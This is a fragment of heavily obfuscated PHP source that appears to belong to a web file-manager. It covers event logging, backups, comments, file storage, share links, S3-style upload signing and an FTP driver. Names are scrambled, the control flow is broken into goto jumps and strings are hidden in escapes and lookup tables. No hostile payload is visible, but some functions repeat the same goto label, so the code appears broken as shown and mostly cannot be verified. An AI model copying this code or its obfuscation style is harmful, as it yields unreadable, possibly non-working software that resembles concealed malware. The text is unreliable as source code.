$a->sourceInfo($C䮥ټ); goto B탆ڊ; dᅂ: $this->addEvent($C䮥ټ, $EΦک[497], $bǮ); $F趡 = $a->sourceInfo($C䮥ټ); $bǮ = array($EΦک[374] => $F趡[$EΦک[374]], $EΦک[38] => $F趡[$EΦک[38]]); goto Aӟ; Aӟ: $this->addEvent($cڢ, $EΦک[2261], $bǮ); goto Eߌ; Eߌ: } public function eventCopy($d⡅) { $this->eventCreate($d⡅, $_SERVER[ȦÆ][495]); } public function eventRename($C, $E, $DƷ) { $b͹ =& $_SERVER[ȦÆ]; $Cۂ霉 = array($b͹[999] => $E, $b͹[1000] => $DƷ); return $this->addEvent($C, $b͹[1115], $Cۂ霉); } public function eventAddComment($Aߢ𔝸, $F܎) { return $this->addEvent($Aߢ𔝸, $_SERVER[ȦÆ][2262], $F܎); } public function eventAddDesc($AɈ, $d配) { return $this->addEvent($AɈ, $_SERVER[ȦÆ][2263], $d配); } public function listBySource($b覶) { goto aߋ; bΗ: $Bæ = $this->eventListParse($Bæ, $b覶); show_json($Bæ); goto Dƕ; D٣Ş: if ($CΏǎ[$bԏ߲[375]] == $bԏ߲[93]) { $cՊ = Model($bԏ߲[1103])->listSearchChildren($b覶, 20000); $cՊ[] = $b覶 . $bԏ߲[366]; $f = array($bԏ߲[374] => array($bԏ߲[17], $cՊ)); } $Bæ = $this->where($f)->order($bԏ߲[2264])->selectPage(); if ($Bæ[$bԏ߲[356]][$bԏ߲[357]] == 0) { $Bæ[$bԏ߲[356]][$bԏ߲[357]] = 1; $Bæ[$bԏ߲[359]] = array(array($bԏ߲[388] => $b覶, $bԏ߲[2247] => $CΏǎ[$bԏ߲[466]], $bԏ߲[1403] => $CΏǎ[$bԏ߲[383]], $bԏ߲[393] => $bԏ߲[2265], $bԏ߲[394] => $CΏǎ[$bԏ߲[193]], $bԏ߲[1405] => $bԏ߲[43])); } goto bΗ; aߋ: $bԏ߲ =& $_SERVER[ȦÆ]; $CΏǎ = Model($bԏ߲[1103])->sourceInfo($b覶); $f = array($bԏ߲[388] => $b覶); goto D٣Ş; Dƕ: } private function eventListParse($a߾Һ, $e) { goto C᷂; c: $e = array_unique($e); $C = array_unique(array_to_keyvalue($fߜ, $E̴[43], $E̴[1412])); $dˎ݅ = Model($E̴[482])->userListInfo($C); goto dҴ; aٳȥ: return $a߾Һ; goto bλҚ; E啃͵: $e = array_to_keyvalue($fߜ, $E̴[43], $E̴[2253]); foreach ($fߜ as $e꣒) { $e = $e꣒[$E̴[410]]; if ($e꣒[$E̴[39]] == $E̴[497] && isset($e[$E̴[999]])) { $e[] = $e[$E̴[999]] . $E̴[43]; $e[] = $e[$E̴[1000]] . $E̴[43]; } if ($e꣒[$E̴[39]] == $E̴[2261] && isset($e[$E̴[374]])) { $e[] = $e[$E̴[374]] . $E̴[43]; } } $e = array_merge($e, $e, array($e . $E̴[43])); goto c; dҴ: $Aㅑل = Model($E̴[753])->sourceListInfo($e, !0); foreach ($fߜ as &$e꣒) { if ($e꣒[$E̴[39]] == $E̴[497] && isset($e꣒[$E̴[410]][$E̴[999]])) { $e꣒[$E̴[410]][$E̴[999]] = $Aㅑل[$e꣒[$E̴[410]][$E̴[999]]]; $e꣒[$E̴[410]][$E̴[1000]] = $Aㅑل[$e꣒[$E̴[410]][$E̴[1000]]]; } if ($e꣒[$E̴[39]] == $E̴[2261] && isset($e꣒[$E̴[410]][$E̴[374]])) { $e꣒[$E̴[410]][$E̴[374]] = $Aㅑل[$e꣒[$E̴[410]][$E̴[374]]]; } $e꣒[$E̴[396]] = $Aㅑل[$e꣒[$E̴[374]]]; $e꣒[$E̴[2266]] = $Aㅑل[$e꣒[$E̴[2253]]]; if ($e꣒[$E̴[39]] == $E̴[2041]) { $e꣒[$E̴[2266]] = $e꣒[$E̴[396]]; $e꣒[$E̴[2253]] = $e꣒[$E̴[2266]][$E̴[374]]; $e꣒[$E̴[396]] = !1; $e꣒[$E̴[374]] = $E̴[43]; } $e꣒[$E̴[2211]] = $dˎ݅[$e꣒[$E̴[1412]]]; } $a߾Һ[$E̴[359]] = $fߜ; goto aٳȥ; C᷂: $E̴ =& $_SERVER[ȦÆ]; $fߜ = $a߾Һ[$E̴[359]]; $e = array_to_keyvalue($fߜ, $E̴[43], $E̴[374]); goto E啃͵; bλҚ: } public function removeBySource($Aݗ) { $D↟᝜ = array($_SERVER[ȦÆ][388] => $Aݗ); $this->where($D↟᝜)->remove(); } } goto f; C: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\155\56\142\x61\143\153\165\x70\114\151\163\164"; public $field = array("\x69\x6f", "\156\141\x6d\x65", "\163\x74\141\164\165\163", "\143\x6f\156\x74\145\x6e\x74", "\x72\x65\x73\165\x6c\164", "\164\151\x6d\145\x46\162\157\155", "\164\151\x6d\x65\124\157"); public function config() { goto C; B叒ޘ: Action($C򹲾[2096])->taskInit(); $bƝɒ = Model($C򹲾[2097])->listData(); foreach ($bƝɒ as $e韆) { if ($e韆[$C򹲾[1073]] == $C򹲾[93] && $e韆[$C򹲾[1400]] == $C򹲾[2098]) { $eυ = $e韆; break; } } goto Aǡ߼; C: $C򹲾 =& $_SERVER[ȦÆ]; $B = Model($C򹲾[1081])->get($C򹲾[713]); $B = json_decode($B, !0); goto B; B: $B = is_array($B) ? $B : array(); if (!isset($B[$C򹲾[693]])) { $B[$C򹲾[693]] = $C򹲾[473]; } $eυ = array(); goto B叒ޘ; Aǡ߼: if (isset($eυ[$C򹲾[196]])) { $eυ[$C򹲾[196]] = json_decode($eυ[$C򹲾[196]], !0); } if (isset($B[$C򹲾[196]])) { $eυ[$C򹲾[196]][$C򹲾[1387]] = $B[$C򹲾[196]]; unset($B[$C򹲾[196]]); } return array_merge($eυ, $B); goto B; B: } public function listData($cDŽ = false, $eܧ = "\x6d\157\x64\151\146\x79\124\x69\x6d\x65", $Cժ = false) { return parent::listData($cDŽ, $eܧ, !0); } public function lastItem() { $Fͱ = $this->listData(); return !empty($Fͱ[0]) ? $Fͱ[0] : null; } public function kill($Eĝ) { goto e; f: return $this->remove($Eĝ); goto dƾԌ; e: $f픕 =& $_SERVER[ȦÆ]; $fć = $this->listData($Eĝ); if (!$fć || empty($fć[$f픕[38]])) { return !0; } goto A퇕; A퇕: Task::kill($f픕[712]); Task::kill($f픕[730]); Task::kill($f픕[737]); goto Dն; Dն: $aޣ = $fć[$f픕[38]]; $cֿӨ = TEMP_FILES . $f픕[711] . $aޣ . $f픕[18]; IO::remove($cֿӨ, !1); goto f; dƾԌ: } public function remove($D尫) { $C†ۋ = $this->listData($D尫); if (!$C†ۋ) { return !0; } return $this->backupRemove($C†ۋ); } private function backupRemove($EƆי) { $e˳ =& $_SERVER[ȦÆ]; parent::remove($EƆי[$e˳[372]]); $e = "\x7b\x69\x6f\x3a{$EƆי[$e˳[692]]}\175\x2f\x64\141\x74\x61\142\x61\163\145\57\x62\141\x63\x6b\165\160\137" . $EƆי[$e˳[38]]; IO::remove($e, !1); return !0; } public function start() { goto dً; Aɇ: if (!$E䃟 || $E䃟[$Bͅ[1384]] != $Bͅ[93]) { return !1; } $Aې = $this->process(); foreach ($Aې as $C) { if ($C) { return Task::restart($C[$Bͅ[372]]); } } goto Dߞ; Dߞ: $e§ = new Backup(); $e§->keep(); if (!$e§->db()) { return !1; } goto bץ; Fҕ֏: return !0; goto Ddz; dً: $Bͅ =& $_SERVER[ȦÆ]; if ($GLOBALS[$Bͅ[16]][$Bͅ[94]][$Bͅ[2099]] != $Bͅ[93]) { return !0; } $E䃟 = $this->config(); goto Aɇ; bץ: if (!$e§->dbFile()) { return !1; } if ($E䃟[$Bͅ[693]] == $Bͅ[473]) { $e§->file(); } Backup::set(array($Bͅ[690] => 1, $Bͅ[704] => time())); goto Fҕ֏; Ddz: } public function process() { $aۚ =& $_SERVER[ȦÆ]; return array($aۚ[695] => Task::get($aۚ[712]), $aۚ[698] => Task::get($aۚ[730]), $aۚ[173] => Task::get($aۚ[737])); } public function restore() { $Fق =& $_SERVER[ȦÆ]; ActionCall($Fق[2100], !0, 1); ActionCall($Fق[2100], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\x6f\x6d\155\x65\x6e\x74"; protected $tableMeta = array("\x74\141\x62\x6c\x65\x4e\x61\155\x65" => "\143\x6f\155\155\x65\156\x74\137\155\145\x74\x61", "\x6d\145\x74\x61\106\x69\145\154\x64" => "\x63\x6f\155\x6d\145\156\164\x49\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($Eژ) { $F዗ =& $_SERVER[ȦÆ]; if ($Eژ[$F዗[2101]]) { $Bݺ߳ = $this->where(array($F዗[2102] => $Eژ[$F዗[2101]]))->find(); if (!$Bݺ߳ || $Bݺ߳[$F዗[376]] != $Eژ[$F዗[376]] || $Bݺ߳[$F዗[461]] != $Eژ[$F዗[461]]) { return !1; } $this->where(array($F዗[2102] => $Eژ[$F዗[2101]]))->setAdd($F዗[2103], 1); } return $this->add($Eژ); } public function remove($E) { $Fʥ =& $_SERVER[ȦÆ]; $B󆥄 = array($Fʥ[2102] => $E); $B = $this->where($B󆥄)->find(); if ($B[$Fʥ[2101]]) { $this->where(array($Fʥ[2102] => $B[$Fʥ[2101]]))->setAdd($Fʥ[2103], -1); } return $this->where($B󆥄)->delete(); } public function edit($Cϓ̜, $f) { $Dߧ =& $_SERVER[ȦÆ]; $F˵ڥ = array($Dߧ[2102] => $Cϓ̜); return $this->where($F˵ڥ)->save(array($Dߧ[2104] => $f)); } public function prasise($e֤) { $Cı =& $_SERVER[ȦÆ]; $Dʉ = Model($Cı[2105]); $F = array($Cı[2102] => $e֤, $Cı[1403] => USER_ID); $Bږ = $Dʉ->where($F)->find(); if (!$Bږ) { $Dʉ->add($F); $A옪 = $this->where(array($Cı[2102] => $e֤))->setAdd($Cı[2106], 1); } else { $Dʉ->where($F)->delete(); $A옪 = $this->where(array($Cı[2102] => $e֤))->setAdd($Cı[2106], -1); } return $A옪; } public function targetInfo($c箷, $dͮ) { goto A; Dʹҫ: $Aآ = "\x52\111\x47\x48\x54\40\x4a\117\111\x4e\40{$this->tablePrefix}\x63\157\155\x6d\x65\x6e\164\137\160\x72\141\x69\x73\145\40\x73\x74\x61\x72\40\157\x6e\40\143\157\155\155\x65\156\164\x2e\x63\157\155\155\145\156\x74\x49\x44\x20\x3d\40\x73\164\141\x72\x2e\143\x6f\155\x6d\145\156\x74\111\104"; $D = $this->alias($B۵[346])->where($F꺂楂)->join($Aآ, $B۵[2107])->count(); $cﲆ = array($B۵[2108] => $cղά, $B۵[2109] => $D); goto Bݕ; Bݕ: return $cﲆ; goto D; A: $B۵ =& $_SERVER[ȦÆ]; $F꺂楂 = array($B۵[526] => $c箷, $B۵[527] => $dͮ); $cղά = $this->where($F꺂楂)->count(); goto Dʹҫ; D: } public function listData($D) { $cԂ =& $_SERVER[ȦÆ]; if (isset($D[$cԂ[2110]])) { if ($D[$cԂ[2110]]) { $D[$cԂ[2111]] = array($cԂ[923], intval($D[$cԂ[2110]])); } unset($D[$cԂ[2110]]); } if (isset($D[$cԂ[2112]])) { if ($D[$cԂ[2112]]) { $D[$cԂ[2111]] = array($cԂ[920], intval($D[$cԂ[2112]])); } unset($D[$cԂ[2112]]); } return $this->_listData($D); } private function _listData($D۽) { $bĝ̙ =& $_SERVER[ȦÆ]; $D² = $this->where($D۽)->_makeOrder()->selectPage(100); $this->_listAppendParent($D²[$bĝ̙[359]]); $this->_listAppendUser($D²[$bĝ̙[359]]); $this->_listAppendMeta($D²[$bĝ̙[359]]); return $D²; } private function _makeOrder() { $a =& $_SERVER[ȦÆ]; $Bኅ = array($a[2106], $a[2103], $a[193]); $B = Input::get($a[412], $a[17], $a[394], $Bኅ); $Cē = Input::get($a[413], $a[17], $a[1405], array($a[2113], $a[410])); $fȡȘô = $B . $a[60] . $Cē; return $this->order($fȡȘô); } private function _listAppendParent(&$CǠ󹚷) { goto eڅ; Dʂ: foreach ($CǠ󹚷 as &$C) { if (isset($Cę݉[$C[$eՋ[2101]]])) { $C[$eՋ[2114]] = $Cę݉[$C[$eՋ[2101]]]; } } goto bĵ; eڅ: $eՋ =& $_SERVER[ȦÆ]; $bԆ = array_unique(array_to_keyvalue($CǠ󹚷, $eՋ[43], $eՋ[2101])); $bԆ = array_remove_value($bԆ, $eՋ[473]); goto F啿; F啿: if (!$bԆ) { return; } $Cę݉ = $this->where(array($eՋ[2102] => array($eՋ[17], $bԆ)))->select(); $Cę݉ = array_to_keyvalue($Cę݉, $eՋ[2111]); goto Dʂ; bĵ: } private function _listAppendUser(&$F򅊳) { goto C㢙; Aܜ: foreach ($F򅊳 as &$f) { $f[$F[540]] = $Dȳ[$f[$F[1412]]]; if (isset($f[$F[2114]])) { $f[$F[2114]][$F[540]] = $Dȳ[$f[$F[2114]][$F[1412]]]; } } goto c; C㢙: $F =& $_SERVER[ȦÆ]; $a֒ = array_unique(array_to_keyvalue($F򅊳, $F[43], $F[1412])); $a֒ = array_remove_value($a֒, $F[473]); goto E˘; E˘: if (count($a֒) == 0) { return; } foreach ($F򅊳 as $f) { if (isset($f[$F[2114]])) { $a֒[] = $f[$F[2114]][$F[1412]]; } } $Dȳ = Model($F[482])->userListInfo($a֒); goto Aܜ; c: } private function _listAppendMeta(&$fзˌ) { goto EϚ; Fۂ³: if (!$F۞ҋ) { return !1; } foreach ($fзˌ as &$F) { $F[$D[422]] = $F۞ҋ[$F[$D[2111]]]; if (isset($F[$D[2114]])) { $F[$D[2114]][$D[422]] = $F۞ҋ[$F[$D[2114]][$D[2111]]]; } } goto C; EϚ: $D =& $_SERVER[ȦÆ]; $c뻍 = array_unique(array_to_keyvalue($fзˌ, $D[43], $D[2111])); $c뻍 = array_remove_value($c뻍, $D[473]); goto e솘ݮ; e솘ݮ: if (!$c뻍) { return; } foreach ($fзˌ as $F) { if (isset($F[$D[2114]])) { $c뻍[] = $F[$D[2114]][$D[2111]]; } } $F۞ҋ = $this->metaList($c뻍); goto Fۂ³; C: } private function metaList($e˚) { goto D; C䔮: return $DЮ ? $DЮ : array(); goto d˔; D: $A =& $_SERVER[ȦÆ]; if (!$e˚) { return array(); } $b׽ = array($A[2111] => array($A[17], $e˚)); goto D˯ثü; D˯ثü: $DЮ = Model($A[2115])->where($b׽)->select(); $DЮ = array_to_keyvalue_group($DЮ, $A[2111]); foreach ($DЮ as $f´ => $Bɔт) { $eǖ = array(); foreach ($Bɔт as $f) { $eǖ[$f[$A[99]]] = $f[$A[364]]; } $DЮ[$f´] = $eǖ; } goto C䔮; d˔: } } class FileModel extends ModelBase { protected $tableName = "\x69\157\x5f\146\x69\154\x65"; protected $tableMeta = array("\164\x61\142\154\x65\x4e\x61\x6d\x65" => "\151\157\x5f\146\x69\154\145\x5f\x6d\145\x74\x61", "\x6d\x65\164\141\106\151\145\154\144" => "\x66\151\x6c\x65\x49\104"); public function fileInfo($b܆) { $b냕˷ =& $_SERVER[ȦÆ]; static $D҅ = array(); if (!isset($D҅[$b܆])) { $DًϚȩ = $b냕˷[2116]; $B䧵 = Model($b냕˷[427])->field($DًϚȩ)->where(array($b냕˷[425] => $b܆))->find(); $D҅[$b܆] = $B䧵; } return $D҅[$b܆]; } public function addFileByContent($b܉ = '', $A׸ = '') { goto B·ʔ; a£ׅ: $b = $fѣ슮 . $Cԫƭ[2118] . rand_string(16); file_put_contents($b, $b܉); $CҤ = $this->addFile($b, $A׸, !0); goto Fޠ; Fޠ: if (file_exists($b)) { @unlink($b); } return $CҤ; goto d̂; B·ʔ: $Cԫƭ =& $_SERVER[ȦÆ]; $fѣ슮 = TEMP_PATH . $Cԫƭ[2117]; if (!is_dir($fѣ슮)) { mk_dir($fѣ슮); } goto a£ׅ; d̂: } public function createFileName($dðռ) { goto cʬí; cʬí: $d΅ =& $_SERVER[ȦÆ]; $bդߒ = IO::init($d΅[18]); $E݅ = $this->makeFilePath($dðռ, $bդߒ); goto B; B: $Dޏ = $bդߒ->pathFather($E݅); static $Fڧ = false; $aǾ = $d΅[2119] . md5($Dޏ); goto aƛ; aƛ: if (!$Fڧ && !Cache::get($aǾ)) { $Fڧ = !0; $a = IO::mkdir($Dޏ); if (!IO::exist($a . $d΅[2120])) { IO::mkfile($a . $d΅[2120]); } Cache::set($aǾ, 1, 3600 * 2); } return $E݅; goto CӲ; CӲ: } public function makeFilePath($bԒ, $A݇) { goto bƥ; bƥ: $cᑚ =& $_SERVER[ȦÆ]; $bܖ = Model($cᑚ[1081])->get($cᑚ[2121]); $d = KodIO::defaultIO() . date($cᑚ[2122]); goto a锟; f…: switch ($bܖ) { case $cᑚ[2124]: $eٽ¨ = $eٽ¨ . $cᑚ[101] . $A݇->ext($bԒ); if ($A݇->ext($bԒ) == $cᑚ[2064]) { $eٽ¨ .= $cᑚ[2125]; } break; case $cᑚ[2126]: goto d󬟳; a϶: break; goto bޝ; d󬟳: $b = Model($cᑚ[1081])->get($cᑚ[1313]); $B = substr(md5($cᑚ[1884] . $b . date($cᑚ[688])), 0, 8); $d = KodIO::defaultIO() . date($cᑚ[2127]) . $B . $cᑚ[18]; goto FǶד; FǶד: if ($A݇->ext($bԒ) == $cᑚ[2064]) { $bԒ .= $cᑚ[2125]; } $EŎɏ = IO::fileNameAuto($d, $bԒ); $eٽ¨ = $d . $EŎɏ; goto a϶; bޝ: case $cᑚ[2123]: break; default: break; } return $eٽ¨; goto D; a锟: $eٽ¨ = $d . rand_string(5) . short_id(100); $bԒ = str_replace($cᑚ[18], $cᑚ[80], KodIO::clear($bԒ)); if (!$bԒ) { $bܖ = $cᑚ[2123]; } goto f…; D: } public function addFileByRemote($B, $fʤ, $A = array()) { goto Dʝ; B: if ($e = $this->addFileCheckExist($aҖ[$cЬ[170]], $aҖ[$cЬ[169]], $aҖ[$cЬ[87]])) { return $e; } return $this->addFileData($aҖ); goto bې; cҒ: $Dۋ = IO::hashMd5($B, $A৵); $f = KodIO::defaultDriver(); $aҖ = array($cЬ[525] => IO::size($B), $cЬ[2128] => 1, $cЬ[391] => $fʤ, $cЬ[736] => $f[$cЬ[372]], $cЬ[392] => $B, $cЬ[2129] => $A[$cЬ[170]] ? $A[$cЬ[170]] : IO::hashSimple($B), $cЬ[2130] => $Dۋ ? $Dۋ : $A৵); goto B; Dʝ: $cЬ =& $_SERVER[ȦÆ]; if (!IO::exist($B)) { return !1; } $A৵ = $A[$cЬ[169]] ? $A[$cЬ[169]] : $cЬ[43]; goto cҒ; bې: } private function addFileData($e֕) { $aōؑ =& $_SERVER[ȦÆ]; if (!$e֕) { return !1; } $e֕[$aōؑ[87]] = intval($e֕[$aōؑ[87]]); if (!$e֕[$aōؑ[87]] && strlen($e֕[$aōؑ[170]]) > 32) { $e֕[$aōؑ[87]] = intval(substr($e֕[$aōؑ[170]], 32)); } $cӄ = $this->add($e֕); return $this->find($cӄ); } public function addFile($bب, $D䪅, $C񴈔ܕ = false) { $a = IO::hashSimple($bب); $d = IO::hashMd5($bب); $C𬹙 = IO::size($bب); if ($fЪ = $this->addFileCheckExist($a, $d, $C𬹙)) { return $fЪ; } $Aڸ = $this->addFileMake($bب, $C𬹙, $a, $d, $D䪅, $C񴈔ܕ); return $this->addFileData($Aڸ); } public function addFileMake($fЧ, $eИ, $EҐ, $c抴ș, $c, $EԶ棔) { goto a֞; A޸Բ: $eƃ = KodIO::defaultDriver(); $e = array($BƸڵ[525] => $eИ, $BƸڵ[2128] => 1, $BƸڵ[391] => $c, $BƸڵ[736] => $eƃ[$BƸڵ[372]], $BƸڵ[392] => $dԧ, $BƸڵ[2129] => $EҐ, $BƸڵ[2130] => $c抴ș); return $e; goto d; a֞: $BƸڵ =& $_SERVER[ȦÆ]; $dԧ = $this->createFileName($c); $D = get_path_father($dԧ); goto F݊ݱ; F݊ݱ: $d = get_path_this($dԧ); if ($EԶ棔) { $fܲ = IO::move($fЧ, $D, !1, $d); } else { $fܲ = IO::copy($fЧ, $D, !1, $d); } if (!$fܲ) { return !1; } goto A޸Բ; d: } public function addFileCheckExist($C, $dߌ, $bɂ) { $c–݊ =& $_SERVER[ȦÆ]; $Aа = $this->findByHash($C, $dߌ); if (!$Aа) { return !1; } $aΗÏ = array($c–݊[2128] => intval($Aа[$c–݊[2131]]) + 1, $c–݊[525] => $bɂ); $this->where(array($c–݊[425] => $Aа[$c–݊[424]]))->save($aΗÏ); return $Aа; } public function remove($A˴䅪) { $this->linkCountChange($A˴䅪, !1); $this->clearEmpty(); return !0; } public function linkAdd($BӚ) { $this->linkCountChange($BӚ, !0); } public function linkCountChange($D嵰, $b) { goto Fƙ; Fƙ: $B֞ =& $_SERVER[ȦÆ]; if (!$D嵰) { return; } if (!is_array($D嵰)) { $D嵰 = array($D嵰); } goto A; A: $cʕĽ = array(); foreach ($D嵰 as $d) { $a = $d . $B֞[43]; if (!$cʕĽ[$a]) { $cʕĽ[$a] = 0; } $cʕĽ[$a]++; } $Eڨƴ = array(); goto aΆ; aΆ: foreach ($cʕĽ as $d => $Fޯ) { $a = $Fޯ . $B֞[43]; if (!$Eڨƴ[$a]) { $Eڨƴ[$a] = array(); } $Eڨƴ[$a][] = $d; } foreach ($Eڨƴ as $Fޯ => $F߈) { if (!$F߈) { continue; } $Fޯ = $b ? $Fޯ : -intval($Fޯ); $Fⵤ = array($B֞[424] => array($B֞[17], $F߈)); if ($Fޯ < 0) { $Fⵤ[$B֞[2131]] = array($B֞[924], abs($Fޯ)); } $this->where($Fⵤ)->setAdd($B֞[2131], $Fޯ); } goto E͜ѩ; E͜ѩ: } public function findByHash($c߳ȶ, $E͏ = false) { $FNj =& $_SERVER[ȦÆ]; if (!$c߳ȶ && !$E͏) { return !1; } $d؎ = array($FNj[2129] => $c߳ȶ); if ($E͏) { $d؎ = array($FNj[2130] => $E͏); } return $this->order($FNj[2132])->where($d؎)->find(); } public function clearEmpty($Eஅ = 0) { goto d; Fñ獹: foreach ($Bέ as $A) { $BӨ->update(1); $this->resetFile($A); } $BӨ->end(); goto aϐ; d: $D =& $_SERVER[ȦÆ]; $EؼȌ = time() - 3600 * 24 * $Eஅ; $A僉 = $D[2133] . $EؼȌ; goto B; B: $Bέ = $this->where($A僉)->select(); if (!$Bέ) { return; } $BӨ = new Task($D[2134], $D[43], count($Bέ)); goto Fñ獹; aϐ: } private function resetFile($e푓) { goto E; e򜒭: $fﰫߢ = Model($B׾[2135])->where($D)->count(); $B״Ź = intval($D) + intval($fﰫߢ); if ($B״Ź == 0) { IO::remove($e푓[$B׾[85]]); $this->where($D)->delete(); $this->metaSet($e푓[$B׾[424]], null, null); return; } goto cê; E: $B׾ =& $_SERVER[ȦÆ]; $D = array($B׾[425] => $e푓[$B׾[424]]); $D = Model($B׾[1103])->where($D)->count(); goto e򜒭; cê: if ($e푓[$B׾[2131]] != $B״Ź) { $this->where($D)->save(array($B׾[2128] => $B״Ź)); } goto Aá; Aá: } public function storageInfo($dƜ̅ = false) { goto e̷; e̷: $a΄ =& $_SERVER[ȦÆ]; $A = $this->count() + 0.0; $D = 0; goto dÈ; AȚ: for ($aӆ = 0; $aӆ < $A; $aӆ = $aӆ + $F㮲) { $eʛڬ = $this->limit($aӆ, $aӆ + $F㮲)->select(); foreach ($eʛڬ as $E) { $fӃ += $E[$a΄[87]] * $E[$a΄[2131]]; $D += $E[$a΄[87]] * ($E[$a΄[2131]] - 1); $Fؕя += $E[$a΄[2131]]; } } $d⑺ؑ = array($a΄[2136] => $fӃ, $a΄[2137] => $D, $a΄[2138] => $D / $fӃ, $a΄[91] => $A, $a΄[2139] => $Fؕя); return $d⑺ؑ; goto fҜ靎; dÈ: $fӃ = 1; $Fؕя = 0; $F㮲 = 5000; goto AȚ; fҜ靎: } } goto fц; fԨǮ: class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($bߣ) { $this->pathParse = $bߣ; } protected function infoParse($Aڮ) { $Fмۥ =& $_SERVER[ȦÆ]; return Action($Fмۥ[1010])->sharePathInfo($this->pathParse[$Fмۥ[85]], !0); } public function listPath($CҐ, $A = false) { $Aߚ =& $_SERVER[ȦÆ]; $c挼؊ = IO::listPath($CҐ, $A); foreach ($c挼؊ as $f => $eɋ) { if (!in_array($f, array($Aߚ[83], $Aߚ[84]))) { continue; } foreach ($eɋ as $F𚬳 => $D臨) { $D臨 = Action($Aߚ[1118])->parsePathChildren($D臨, array($Aߚ[392] => $CҐ)); $c挼؊[$f][$F𚬳] = Action($Aߚ[1010])->shareItemInfo($D臨); } } return $c挼؊; } public function listAll($fלͥ) { $B =& $_SERVER[ȦÆ]; $c = IO::listAll($fלͥ); foreach ($c as &$C٩) { $C٩ = array_merge(IO::info($C٩[$B[85]]), $C٩); $C٩[$B[396]] = Action($B[1010])->shareItemInfo($C٩); } return $c; } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($a˛) { parent::__construct($a˛); $this->signatureVersion($_SERVER[ȦÆ][206]); } public function uploadFormData($FʕLJ, $f㳗 = 3600) { goto BÎ; d: $eݡ = array($bב[205] => $bב[43], $bב[1131] => $bב[43], $bב[1090] => $DҚތ, $bב[1094] => $dɏ, $bב[1098] => $Cע, $bב[1132] => $f𨳖, $bב[1133] => $B򨇥, $bב[1134] => $f, $bב[1135] => $Cƒ, $bב[1136] => $bʚ, $bב[175] => $this->getHost()); return $eݡ; goto f̚; b: $cڒܝ = $bב[69]; $f = gmdate($bב[1120]); $f = gmdate($bב[691]); goto Dζ; E̩: $D = array($this->accessKey, $f, $this->region, $cڒܝ, $Bא); $f𨳖 = implode($bב[18], $D); $a͋Ǡ = array($bב[1088] => gmdate($bב[1087], strtotime($bב[1122])), $bב[1089] => array(array($bב[1091] => $this->bucket), array($bב[1090] => $DҚތ), array($bב[1092], $bב[1093], $bב[43]), array($bב[1092], $bב[1123], $bב[43]), array($bב[1092], $bב[1124], $bב[43]), array($bב[1094] => $dɏ), array($bב[1125] => $f𨳖), array($bב[1126] => $B򨇥), array($bב[1127] => $f), array($bב[1128] => $Cƒ))); goto C; Dζ: $Bא = $bב[1121]; $Cƒ = $f㳗 . $bב[43]; $dɏ = $bב[1086]; goto E̩; C: $Cע = base64_encode(json_encode($a͋Ǡ)); $F㼗 = hash_hmac($bב[1129], $f, $bב[1130] . $this->secret, !0); $F = hash_hmac($bב[1129], $this->region, $F㼗, !0); goto c; BÎ: $bב =& $_SERVER[ȦÆ]; $DҚތ = $bב[191]; $B򨇥 = $bב[1119]; goto b; c: $aݏ = hash_hmac($bב[1129], $cڒܝ, $F, !0); $fꐃ = hash_hmac($bב[1129], $Bא, $aݏ, !0); $bʚ = hash_hmac($bב[1129], $Cע, $fꐃ); goto d; f̚: } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = FALSE; public function __construct($Aǃؽ) { parent::__construct(); if (count($Aǃؽ) > 0) { $this->_init($Aǃؽ); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($E͚) { $Cܞڲ =& $_SERVER[ȦÆ]; global $config; $this->appCharset = $config[$Cܞڲ[1137]]; $this->systemCharset = $config[$Cܞڲ[1138]]; if (isset($E͚[$Cܞڲ[1139]]) && $E͚[$Cܞڲ[1139]]) { $this->systemCharset = $E͚[$Cܞڲ[1139]]; } } public function iconvApp($Fȶɢ) { return $this->iconvTo($Fȶɢ, $this->systemCharset, $this->appCharset); } public function iconvSystem($Cᒻ) { return $this->iconvTo($Cᒻ, $this->appCharset, $this->systemCharset); } public function getPathOuter($Cሗ) { goto a쿅; bǬ޽: $Cሗ = KodIO::clear($Cሗ); $Cሗ = substr($Cሗ, strlen($AߪП)); if (empty($this->pathDriver)) { return $Cሗ; } goto cщÿ; C: if (substr($AߪП, 0, 2) == $E[1140]) { $AߪП = BASIC_PATH . substr($AߪП, 2); } if (substr($Cሗ, 0, 2) == $E[1140]) { $Cሗ = BASIC_PATH . substr($Cሗ, 2); } $AߪП = KodIO::clear($AߪП); goto bǬ޽; a쿅: $E =& $_SERVER[ȦÆ]; $AߪП = $this->iconvApp($this->pathBase); $Cሗ = $this->iconvApp($Cሗ); goto C; cщÿ: return $this->pathDriver . $E[18] . ltrim($Cሗ, $E[18]); goto E; E: } private function _init($B΢ = array()) { goto b뉏; E֫: $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return; } $aá = @ftp_login($this->connect, $this->username, $this->userpass); goto b; CЉ: return $aá; goto Fǵ; bڱϋ: $B־ = isset($Fͩƫ[$b[174]]) && $Fͩƫ[$b[174]] == $b[1143] ? !0 : !1; $this->scheme = $B־ ? $b[1144] : $b[1145]; $this->port = isset($Fͩƫ[$b[176]]) ? $Fͩƫ[$b[176]] : 21; goto E֫; ḎӠ: if (isset($A[$D׈])) { foreach ($A[$D׈] as $d => $c٪) { $this->{$d} = $c٪; } return !0; } $Fͩƫ = parse_url(trim($this->server, $b[18])); $this->host = $Fͩƫ[$b[175]]; goto bڱϋ; b: foreach ($B΢ as $d => $c٪) { if (isset($this->{$d})) { $this->{$d} = $c٪; } } static $A = array(); $D׈ = md5(json_encode($B΢)); goto ḎӠ; b: @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); @ftp_pasv($this->connect, !0); $A[$D׈] = array($b[1146] => $this->connect, $b[175] => $this->host, $b[174] => $this->scheme, $b[176] => $this->port); goto CЉ; b뉏: $b =& $_SERVER[ȦÆ]; if (!function_exists($b[1141])) { show_json(LNG($b[1142]), !1); } 